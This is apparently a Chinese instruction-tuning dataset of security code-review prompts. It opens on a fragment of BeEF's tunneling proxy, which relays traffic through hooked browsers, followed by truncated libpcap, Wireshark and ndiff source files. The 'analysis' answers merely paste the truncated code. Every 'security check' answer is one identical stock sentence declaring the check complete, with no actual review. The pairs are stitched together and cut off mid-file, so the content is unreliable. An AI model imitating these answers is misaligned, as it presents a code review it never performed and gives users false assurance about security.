        HB = BeEF::Core::Models::HookedBrowser
        H = BeEF::Core::Models::Http
        @response = nil

        # Multi-threaded Tunneling Proxy: listens on host:port configured in extensions/proxy/config.yaml
        # and forwards requests to the hooked browser using the Requester component.
        def initialize
          @conf = BeEF::Core::Configuration.instance
          @proxy_server = TCPServer.new(@conf.get('beef.extension.proxy.address'), @conf.get('beef.extension.proxy.port'))

          # setup proxy for SSL/TLS
          ssl_context = OpenSSL::SSL::SSLContext.new
          # ssl_context.ssl_version = :TLSv1_2

          # load certificate
          begin
            cert_file = @conf.get('beef.extension.proxy.cert')
            cert = File.read(cert_file)
            ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
          rescue StandardError
            print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
          end

          # load key
          begin
            key_file = @conf.get('beef.extension.proxy.key')
            key = File.read(key_file)
            ssl_context.key = OpenSSL::PKey::RSA.new(key)
          rescue StandardError
            print_error "[Proxy] Could not load SSL key '#{key_file}'"
          end

          ssl_server = OpenSSL::SSL::SSLServer.new(@proxy_server, ssl_context)
          ssl_server.start_immediately = false

          loop do
            ssl_socket = ssl_server.accept
            Thread.new ssl_socket, &method(:handle_request)
          end
        end

        def handle_request(socket)
          request_line = socket.readline

          # HTTP method # defaults to GET
          method = request_line[/^\w+/]

          ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (C) 2018 jingle YANG. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *   1. Redistributions of source code must retain the above copyright
 *      notice, this list of conditions and the following disclaimer.
 *   2. Redistributions in binary form must reproduce the above copyright
 *      notice, this list of conditions and the following disclaimer in the
 *      documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS''AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
Date: Dec 16, 2018

Description:
1. Pcap-dpdk provides libpcap the ability to use DPDK with the device name as dpdk:{portid}, such as dpdk:0.
2. DPDK is a set of libraries and drivers for fast packet processing. (https://www.dpdk.org/)
3. The testprogs/capturetest provides 6.4Gbps/800,000 pps on Intel 10-Gigabit X540-AT2 with DPDK 18.11.

Limitations:
1. DPDK support will be on if DPDK is available. Please set DIR for --with-dpdk[=DIR] with ./configure or -DDPDK_DIR[=DIR] with cmake if DPDK is installed manually.
2. Only support link libdpdk.so dynamically, because the libdpdk.a will not work correctly.
3. Only support read ope...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (C) 2018 jingle YANG. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 *   1. Redistributions of source code must retain the above copyright
 *      notice, this list of conditions and the following disclaimer.
 *   2. Redistributions in binary form must reproduce the above copyright
 *      notice, this list of conditions and the following disclaimer in the
 *      documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS''AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
Date: Dec 16, 2018

Description:
1. Pcap-dpdk provides libpcap the ability to use DPDK with the device name as dpdk:{portid}, such as dpdk:0.
2. DPDK is a set of libraries and drivers for fast packet processing. (https://www.dpdk.org/)
3. The testprogs/capturetest provides 6.4Gbps/800,000 pps on Intel 10-Gigabit X540-AT2 with DPDK 18.11.

Limitations:
1. DPDK support will be on if DPDK is available. Please set DIR for --with-dpdk[=DIR] with ./configure or -DDPDK_DIR[=DIR] with cmake if DPDK is installed manually.
2. Only support link libdpdk.so dynamically, because the libdpdk.a will not work correctly.
3. Only support read ope...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-nettl.c
 * Routines for nettl (HP-UX) record header dissection
 *
 * Original Author Mark C. Brown <mbrown@hp.com>
 * Copyright (C) 2005 Hewlett-Packard Development Company, L.P.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-pagp.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/ipproto.h>
#include <wiretap/nettl.h>

void proto_register_nettl(void);
void proto_reg_handoff_nettl(void);

/* Initialize the protocol and registered fields */

static int proto_nettl = -1;

static int hf_nettl_subsys = -1;
static int hf_nettl_devid = -1;
static int hf_nettl_kind = -1;
static int hf_nettl_pid = -1;
static int hf_nettl_uid = -1;

static dissector_handle_t nettl_handle;
static dissector_handle_t eth_withoutfcs_handle;
static dissector_handle_t tr_handle;
static dissector_handle_t fddi_bitswapped_handle;
static dissector_handle_t lapb_handle;
static dissector_handle_t x25_handle;
static dissector_handle_t sctp_handle;
static dissector_handle_t raw_ip_handle;
static dissector_table_t ip_proto_dissector_table;
static dissector_table_t tcp_subdissector_table;

#define TCP_PORT_TELNET 23

/* Initialize the subtree pointers */

static gint ett_nettl = -1;

/* General declarations and macros */

static const value_string trace_kind[] = {
    { 0x80000000, "Incoming Header" },
    { 0x40000000, "Outgoing Header" },
    { 0x20000000, "Incoming PDU - PDUIN" },
    { 0x10000000, "Outgoing PDU - PDUOUT" },
    { 0x08000000, "Procedure Trace" },
    { 0x04000000, "State Trace" },
    { 0x02000000, "Error Trace" },
    { 0x01000000, "Logging" },
    { 0x00800000, "Loopback" },
    { 0, NULL }
};

static const value_string subsystem[] = {
    {   0, "NS_LS_LOGGING" },
    {   1, "NS_LS_NFT" },
    {   2, "NS_LS_LOOPBACK" },
    {   3, "NS_LS_NI" },
    {   4, "NS_LS_IPC" },
    {   5, "NS_LS_SOCKREGD" },
    {   6, "NS_LS_...


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-arp.c
 * Routines for ARP packet disassembly (RFC 826)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * By Deepti Ragha <dlragha@ncsu.edu>
 * Copyright 2012 Deepti Ragha
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/arptypes.h>
#include <epan/addr_resolv.h>
#include "packet-arp.h"
#include <epan/etypes.h>
#include <epan/arcnet_pids.h>
#include <epan/ax25_pids.h>
#include <epan/osi-utils.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/proto_data.h>

void proto_register_arp(void);
void proto_reg_handoff_arp(void);

static int proto_arp = -1;
static int hf_arp_hard_type = -1;
static int hf_arp_proto_type = -1;
static int hf_arp_hard_size = -1;
static int hf_atmarp_sht = -1;
static int hf_atmarp_shl = -1;
static int hf_atmarp_sst = -1;
static int hf_atmarp_ssl = -1;
static int hf_arp_proto_size = -1;
static int hf_arp_opcode = -1;
static int hf_arp_isgratuitous = -1;
static int hf_arp_isprobe = -1;
static int hf_arp_isannouncement = -1;

static int proto_atmarp = -1;
static int hf_atmarp_spln = -1;
static int hf_atmarp_tht = -1;
static int hf_atmarp_thl = -1;
static int hf_atmarp_tst = -1;
static int hf_atmarp_tsl = -1;
static int hf_atmarp_tpln = -1;
static int hf_arp_src_hw = -1;
static int hf_arp_src_hw_mac = -1;
static int hf_arp_src_proto = -1;
static int hf_arp_src_proto_ipv4 = -1;
static int hf_arp_dst_hw = -1;
static int hf_arp_dst_hw_mac = -1;
static int hf_arp_dst_proto = -1;
static int hf_arp_dst_proto_ipv4 = -1;
static int hf_drarp_error_status = -1;
static int hf_arp_duplicate_ip_address_earlier_frame = -1;
static int hf_arp_duplicate_ip_address_seconds_since_earlier_frame = -1;

static int hf_atmarp_src_atm_num_e164 = -1;
static int hf_atmarp_src_atm_num_nsap = -1;
static int hf_atmarp_src_atm_subaddr = -1;
static int hf_atmarp_dst_atm_num_e164 = -1;
st...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-arp.c
 * Routines for ARP packet disassembly (RFC 826)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * By Deepti Ragha <dlragha@ncsu.edu>
 * Copyright 2012 Deepti Ragha
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/arptypes.h>
#include <epan/addr_resolv.h>
#include "packet-arp.h"
#include <epan/etypes.h>
#include <epan/arcnet_pids.h>
#include <epan/ax25_pids.h>
#include <epan/osi-utils.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/proto_data.h>

void proto_register_arp(void);
void proto_reg_handoff_arp(void);

static int proto_arp = -1;
static int hf_arp_hard_type = -1;
static int hf_arp_proto_type = -1;
static int hf_arp_hard_size = -1;
static int hf_atmarp_sht = -1;
static int hf_atmarp_shl = -1;
static int hf_atmarp_sst = -1;
static int hf_atmarp_ssl = -1;
static int hf_arp_proto_size = -1;
static int hf_arp_opcode = -1;
static int hf_arp_isgratuitous = -1;
static int hf_arp_isprobe = -1;
static int hf_arp_isannouncement = -1;

static int proto_atmarp = -1;
static int hf_atmarp_spln = -1;
static int hf_atmarp_tht = -1;
static int hf_atmarp_thl = -1;
static int hf_atmarp_tst = -1;
static int hf_atmarp_tsl = -1;
static int hf_atmarp_tpln = -1;
static int hf_arp_src_hw = -1;
static int hf_arp_src_hw_mac = -1;
static int hf_arp_src_proto = -1;
static int hf_arp_src_proto_ipv4 = -1;
static int hf_arp_dst_hw = -1;
static int hf_arp_dst_hw_mac = -1;
static int hf_arp_dst_proto = -1;
static int hf_arp_dst_proto_ipv4 = -1;
static int hf_drarp_error_status = -1;
static int hf_arp_duplicate_ip_address_earlier_frame = -1;
static int hf_arp_duplicate_ip_address_seconds_since_earlier_frame = -1;

static int hf_atmarp_src_atm_num_e164 = -1;
static int hf_atmarp_src_atm_num_nsap = -1;
static int hf_atmarp_src_atm_subaddr = -1;
static int hf_atmarp_dst_atm_num_e164 = -1;
st...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-qsig.c                                                              */
/* asn2wrs.py -L -c ./qsig.cnf -s ./packet-qsig-template -D . -O ../.. General-Error-List.asn qsig-gf-ext.asn qsig-gf-gp.asn qsig-gf-ade.asn QSIG-NA.asn QSIG-CF.asn QSIG-PR.asn QSIG-CT.asn QSIG-CC.asn QSIG-CO.asn QSIG-DND.asn QSIG-CI.asn QSIG-AOC.asn QSIG-RE.asn SYNC-SIG.asn QSIG-CINT.asn QSIG-CMN.asn QSIG-CPI.asn QSIG-PUMR.asn QSIG-PUMCH.asn QSIG-SSCT.asn QSIG-WTMLR.asn QSIG-WTMCH.asn QSIG-WTMAU.asn QSIG-SD.asn QSIG-CIDL.asn QSIG-SMS.asn QSIG-MCR.asn QSIG-MCM.asn QSIG-MID.asn */

/* packet-qsig.c
 * Routines for QSIG packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <wsutil/strtoi.h>

#include "packet-ber.h"
#include "packet-qsig.h"

#define PNAME  "QSIG"
#define PSNAME "QSIG"
#define PFNAME "qsig"

/* Shifted codeset values */
#define CS0 0x000
#define CS1 0x100
#define CS2 0x200
#define CS3 0x300
#define CS4 0x400
#define CS5 0x500
#define CS6 0x600
#define CS7 0x700

#define	QSIG_IE_TRANSIT_COUNTER 0x31
#define	QSIG_IE_PARTY_CATEGORY  0x32

void proto_register_qsig(void);
void proto_reg_handoff_qsig(void);

static dissector_handle_t qsig_arg_handle;
static dissector_handle_t qsig_res_handle;
static dissector_handle_t qsig_err_handle;
static dissector_handle_t qsig_ie4_handle;
static dissector_handle_t qsig_ie5_handle;

static const value_string qsig_str_ie_type_cs4[] = {
  { QSIG_IE_TRANSIT_COUNTER , "Transit counter" },
  { 0, NULL}
};
static const value_string qsig_str_ie_type_cs5[] = {
  { QSIG_IE_PARTY_CATEGORY  , "Party category" },
  {...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-qsig.c                                                              */
/* asn2wrs.py -L -c ./qsig.cnf -s ./packet-qsig-template -D . -O ../.. General-Error-List.asn qsig-gf-ext.asn qsig-gf-gp.asn qsig-gf-ade.asn QSIG-NA.asn QSIG-CF.asn QSIG-PR.asn QSIG-CT.asn QSIG-CC.asn QSIG-CO.asn QSIG-DND.asn QSIG-CI.asn QSIG-AOC.asn QSIG-RE.asn SYNC-SIG.asn QSIG-CINT.asn QSIG-CMN.asn QSIG-CPI.asn QSIG-PUMR.asn QSIG-PUMCH.asn QSIG-SSCT.asn QSIG-WTMLR.asn QSIG-WTMCH.asn QSIG-WTMAU.asn QSIG-SD.asn QSIG-CIDL.asn QSIG-SMS.asn QSIG-MCR.asn QSIG-MCM.asn QSIG-MID.asn */

/* packet-qsig.c
 * Routines for QSIG packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <wsutil/strtoi.h>

#include "packet-ber.h"
#include "packet-qsig.h"

#define PNAME  "QSIG"
#define PSNAME "QSIG"
#define PFNAME "qsig"

/* Shifted codeset values */
#define CS0 0x000
#define CS1 0x100
#define CS2 0x200
#define CS3 0x300
#define CS4 0x400
#define CS5 0x500
#define CS6 0x600
#define CS7 0x700

#define	QSIG_IE_TRANSIT_COUNTER 0x31
#define	QSIG_IE_PARTY_CATEGORY  0x32

void proto_register_qsig(void);
void proto_reg_handoff_qsig(void);

static dissector_handle_t qsig_arg_handle;
static dissector_handle_t qsig_res_handle;
static dissector_handle_t qsig_err_handle;
static dissector_handle_t qsig_ie4_handle;
static dissector_handle_t qsig_ie5_handle;

static const value_string qsig_str_ie_type_cs4[] = {
  { QSIG_IE_TRANSIT_COUNTER , "Transit counter" },
  { 0, NULL}
};
static const value_string qsig_str_ie_type_cs5[] = {
  { QSIG_IE_PARTY_CATEGORY  , "Party category" },
  {...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

import errno
import sys
import os
import os.path
import re

from stat import ST_MODE

import distutils.command
import distutils.command.install
import distutils.core
import distutils.cmd
import distutils.errors
from distutils import log
from distutils.command.install import install

APP_NAME = "ndiff"
# The name of the file used to record the list of installed files, so that the
# uninstall command can remove them.
INSTALLED_FILES_NAME = "INSTALLED_FILES"

# path_startswith and path_strip_prefix are used to deal with the installation
# root (--root option, also known as DESTDIR).
def path_startswith(path, prefix):
    """Returns True if path starts with prefix. It's a little more intelligent
    than str.startswith because it normalizes the paths to remove multiple
    directory separators and down-up traversals."""
    path = os.path.normpath(path)
    prefix = os.path.normpath(prefix)
    return path.startswith(prefix)

def path_strip_prefix(path, prefix):
    """Return path stripped of its directory prefix if it starts with prefix,
    otherwise return path unmodified. This only works correctly with Unix
    paths; for example it will not replace the drive letter on a Windows path.
    Examples:
    >>> path_strip_prefix('/tmp/destdir/usr/bin', '/tmp/destdir')
    '/usr/bin'
    >>> path_strip_prefix('/tmp/../tmp/destdir/usr/bin', '/tmp///destdir')
    '/usr/bin'
    >>> path_strip_prefix('/etc', '/tmp/destdir')
    '/etc'
    >>> path_strip_prefix('/etc', '/')
    '/etc'
    >>> path_strip_prefix('/etc', '')
    '/etc'
    """
    absolute = os.path.isabs(path)
    path = os.path.normpath(path)
    prefix = os.path.normpath(prefix)
    if path.startswith(prefix) and prefix != os.sep:
        path = path[len(prefix):]
    # Absolute paths must remain absolute and relative paths must remain
    # relative.
    assert os.path.isabs(path) == absolute
    return path

##########################################################################...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

import errno
import sys
import os
import os.path
import re

from stat import ST_MODE

import distutils.command
import distutils.command.install
import distutils.core
import distutils.cmd
import distutils.errors
from distutils import log
from distutils.command.install import install

APP_NAME = "ndiff"
# The name of the file used to record the list of installed files, so that the
# uninstall command can remove them.
INSTALLED_FILES_NAME = "INSTALLED_FILES"

# path_startswith and path_strip_prefix are used to deal with the installation
# root (--root option, also known as DESTDIR).
def path_startswith(path, prefix):
    """Returns True if path starts with prefix. It's a little more intelligent
    than str.startswith because it normalizes the paths to remove multiple
    directory separators and down-up traversals."""
    path = os.path.normpath(path)
    prefix = os.path.normpath(prefix)
    return path.startswith(prefix)

def path_strip_prefix(path, prefix):
    """Return path stripped of its directory prefix if it starts with prefix,
    otherwise return path unmodified. This only works correctly with Unix
    paths; for example it will not replace the drive letter on a Windows path.
    Examples:
    >>> path_strip_prefix('/tmp/destdir/usr/bin', '/tmp/destdir')
    '/usr/bin'
    >>> path_strip_prefix('/tmp/../tmp/destdir/usr/bin', '/tmp///destdir')
    '/usr/bin'
    >>> path_strip_prefix('/etc', '/tmp/destdir')
    '/etc'
    >>> path_strip_prefix('/etc', '/')
    '/etc'
    >>> path_strip_prefix('/etc', '')
    '/etc'
    """
    absolute = os.path.isabs(path)
    path = os.path.normpath(path)
    prefix = os.path.normpath(prefix)
    if path.startswith(prefix) and prefix != os.sep:
        path = path[len(prefix):]
    # Absolute paths must remain absolute and relative paths must remain
    # relative.
    assert os.path.isabs(path) == absolute
    return path

##########################################################################...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 1990, 1993, 1994, 1995, 1996
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <pcap-types.h>

#include <memory.h>
#include <stdio.h>
#include <string.h>

#include "pcap-int.h"

#include <pcap/namedb.h>

#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif

static inline int skip_space(FILE *);
static inline int skip_line(FILE *);

/* Hex digit to integer. */
static inline u_char
xdtoi(u_char c)
{
	if (c >= '0' && c <= '9')
		return (u_char)(c - '0');
	else if (c >= 'a' && c <= 'f')
		return (u_char)(c - 'a' + 10);
	else
		return (u_char)(c - 'A' + 10);
}

/*
 * Skip linear white space (space and tab) and any CRs before LF.
 * Stop when we hit a non-white-space character or an end-of-line LF.
 */
static inline int
skip_space(FILE *f)
{
	int c;

	do {
		c = getc(f);
	} while (c == ' ' || c == '\t' || c == '\r');

	return c;
}...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 1990, 1993, 1994, 1995, 1996
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <pcap-types.h>

#include <memory.h>
#include <stdio.h>
#include <string.h>

#include "pcap-int.h"

#include <pcap/namedb.h>

#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif

static inline int skip_space(FILE *);
static inline int skip_line(FILE *);

/* Hex digit to integer. */
static inline u_char
xdtoi(u_char c)
{
	if (c >= '0' && c <= '9')
		return (u_char)(c - '0');
	else if (c >= 'a' && c <= 'f')
		return (u_char)(c - 'a' + 10);
	else
		return (u_char)(c - 'A' + 10);
}

/*
 * Skip linear white space (space and tab) and any CRs before LF.
 * Stop when we hit a non-white-space character or an end-of-line LF.
 */
static inline int
skip_space(FILE *f)
{
	int c;

	do {
		c = getc(f);
	} while (c == ' ' || c == '\t' || c == '\r');

	return c;
}...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* wsjson.c
 * JSON parsing functions.
 *
 * Copyright 2016, Dario Lombardo
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_MAIN

#include "wsjson.h"

#include <string.h>
#include <errno.h>
#include <wsutil/jsmn.h>
#include <wsutil/str_util.h>
#include <wsutil/unicode-utils.h>
#include <wsutil/wslog.h>

gboolean
json_validate(const guint8 *buf, const size_t len)
{
    gboolean ret = TRUE;
    /* We expect no more than 1024 tokens */
    guint max_tokens = 1024;
    jsmntok_t* t;
    jsmn_parser p;
    int rcode;

    /*
     * Make sure the buffer isn't empty and the first octet isn't a NUL;
     * otherwise, the parser will immediately stop parsing and not validate
     * anything after that, so it'll just think it was handed an empty string.
     *
     * XXX - should we check for NULs anywhere in the buffer?
     */
    if (len == 0) {
        ws_debug("JSON string is empty");
        return FALSE;
    }
    if (buf[0] == '\0') {
        ws_debug("invalid character inside JSON string");
        return FALSE;
    }

    t = g_new0(jsmntok_t, max_tokens);

    if (!t)
        return FALSE;

    jsmn_init(&p);
    rcode = jsmn_parse(&p, buf, len, t, max_tokens);
    if (rcode < 0) {
        switch (rcode) {
            case JSMN_ERROR_NOMEM:
                ws_debug("not enough tokens were provided");
                break;
            case JSMN_ERROR_INVAL:
                ws_debug("invalid character inside JSON string");
                break;
            case JSMN_ERROR_PART:
                ws_debug("the string is not a full JSON packet, "
                    "more bytes expected");
                break;
            default:
                ws_debug("unexpected error");
                break;
        }
        ret = FALSE;
    }

    g_free(t);
    return ret;
}

int
json_parse(const char *...


Instruction: 检查这段代码是否存在安全问题

Input:
/* wsjson.c
 * JSON parsing functions.
 *
 * Copyright 2016, Dario Lombardo
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_MAIN

#include "wsjson.h"

#include <string.h>
#include <errno.h>
#include <wsutil/jsmn.h>
#include <wsutil/str_util.h>
#include <wsutil/unicode-utils.h>
#include <wsutil/wslog.h>

gboolean
json_validate(const guint8 *buf, const size_t len)
{
    gboolean ret = TRUE;
    /* We expect no more than 1024 tokens */
    guint max_tokens = 1024;
    jsmntok_t* t;
    jsmn_parser p;
    int rcode;

    /*
     * Make sure the buffer isn't empty and the first octet isn't a NUL;
     * otherwise, the parser will immediately stop parsing and not validate
     * anything after that, so it'll just think it was handed an empty string.
     *
     * XXX - should we check for NULs anywhere in the buffer?
     */
    if (len == 0) {
        ws_debug("JSON string is empty");
        return FALSE;
    }
    if (buf[0] == '\0') {
        ws_debug("invalid character inside JSON string");
        return FALSE;
    }

    t = g_new0(jsmntok_t, max_tokens);

    if (!t)
        return FALSE;

    jsmn_init(&p);
    rcode = jsmn_parse(&p, buf, len, t, max_tokens);
    if (rcode < 0) {
        switch (rcode) {
            case JSMN_ERROR_NOMEM:
                ws_debug("not enough tokens were provided");
                break;
            case JSMN_ERROR_INVAL:
                ws_debug("invalid character inside JSON string");
                break;
            case JSMN_ERROR_PART:
                ws_debug("the string is not a full JSON packet, "
                    "more bytes expected");
                break;
            default:
                ws_debug("unexpected error");
                break;
        }
        ret = FALSE;
    }

    g_free(t);
    return ret;
}

int
json_parse(const char *...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-eth.c
 * Routines for ethernet packet disassembly
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/prefs.h>
#include <epan/etypes.h>
#include <epan/ipproto.h>
#include <epan/addr_resolv.h>
#include <epan/expert.h>
#include <epan/conversation_table.h>
#include <epan/conversation_filter.h>
#include <epan/capture_dissectors.h>
#include <epan/exported_pdu.h>
#include <wsutil/pint.h>
#include "packet-eth.h"
#include "packet-gre.h"
#include "packet-ieee8023.h"
#include "packet-ipx.h"
#include "packet-isl.h"
#include "packet-llc.h"
#include "packet-sll.h"
#include "packet-juniper.h"
#include "packet-sflow.h"
#include "packet-l2tp.h"
#include "packet-vxlan.h"
#include "packet-nsh.h"
#include "packet-acdr.h"
#include "packet-mctp.h"
#include <epan/crc32-tvb.h>
#include <wiretap/erf_record.h>

void proto_register_eth(void);
void proto_reg_handoff_eth(void);

#define PADDING_NONE        0
#define PADDING_ZEROS       1
#define PADDING_ANY         2

static gint eth_padding = PADDING_ZEROS;
static guint eth_trailer_length = 0;
/* By default, try to autodetect FCS */
static gint eth_fcs = -1;
static gboolean eth_check_fcs = FALSE;
/* Interpret packets as FW1 monitor file packets if they look as if they are */
static gboolean eth_interpret_as_fw1_monitor = FALSE;
/* When capturing on a Cisco FEX some frames start with an extra destination mac */
static gboolean eth_deduplicate_dmac = FALSE;
/* Preference settings defining conditions for which the CCSDS dissector is called */
static gboolean ccsds_heuristic_length = FALSE;
static gboolean ccsds_heuristic_version = FALSE;
static gboolean ccsds_heuristic_header = FALSE;
static gboolean ccsds_heuristic_bit = FALSE;

/* protocols and header fields */
static int proto_eth = -1;
static int hf_eth_dst = -1;
static int hf_e...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-eth.c
 * Routines for ethernet packet disassembly
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>
#include <epan/prefs.h>
#include <epan/etypes.h>
#include <epan/ipproto.h>
#include <epan/addr_resolv.h>
#include <epan/expert.h>
#include <epan/conversation_table.h>
#include <epan/conversation_filter.h>
#include <epan/capture_dissectors.h>
#include <epan/exported_pdu.h>
#include <wsutil/pint.h>
#include "packet-eth.h"
